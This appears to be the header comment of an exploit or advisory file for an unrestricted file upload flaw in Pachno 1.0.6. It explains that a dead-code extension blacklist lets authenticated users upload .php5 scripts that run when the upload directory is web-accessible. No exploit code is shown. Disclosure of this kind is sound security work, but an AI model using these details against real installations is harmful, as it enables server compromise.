    #
    # Pachno 1.0.6 (uploadfile) Unrestricted File Upload Remote Code Execution
    #
    #
    # Vendor: Daniel André Eikeland
    # Product web page: https://github.com/pachno/pachno
    # Affected version: 1.0.6
    #
    # Summary: Pachno is an open-source collaboration platform (formerly known as The Bug Genie)
    # designed for team project management, issue tracking, and documentation. It offers a module-based,
    # customizable environment for software development and team workflows, distributed under the
    # Mozilla Public License.
    #
    # Desc: The multipart file parameter to the /uploadfile endpoint allows authenticated users to
    # upload files directly to the server. File upload must be enabled by an admin, who can also
    # configure the storage path, within a web-accessible /public directory. Extension filtering
    # is ineffective. Although a blacklist exists, it is never used (dead code), allowing arbitrary
    # file types such as .php5 to be uploaded. Files are stored on disk regardless of permission
    # checks. If the upload path is web-accessible, uploaded scripts can be executed, leading to
    # remote code execution.
    #
    # Tested on: GNU/Linux
    #            Apache2
    #            PHP/7.4
    #            MySQL/5.7 (MariaDB)
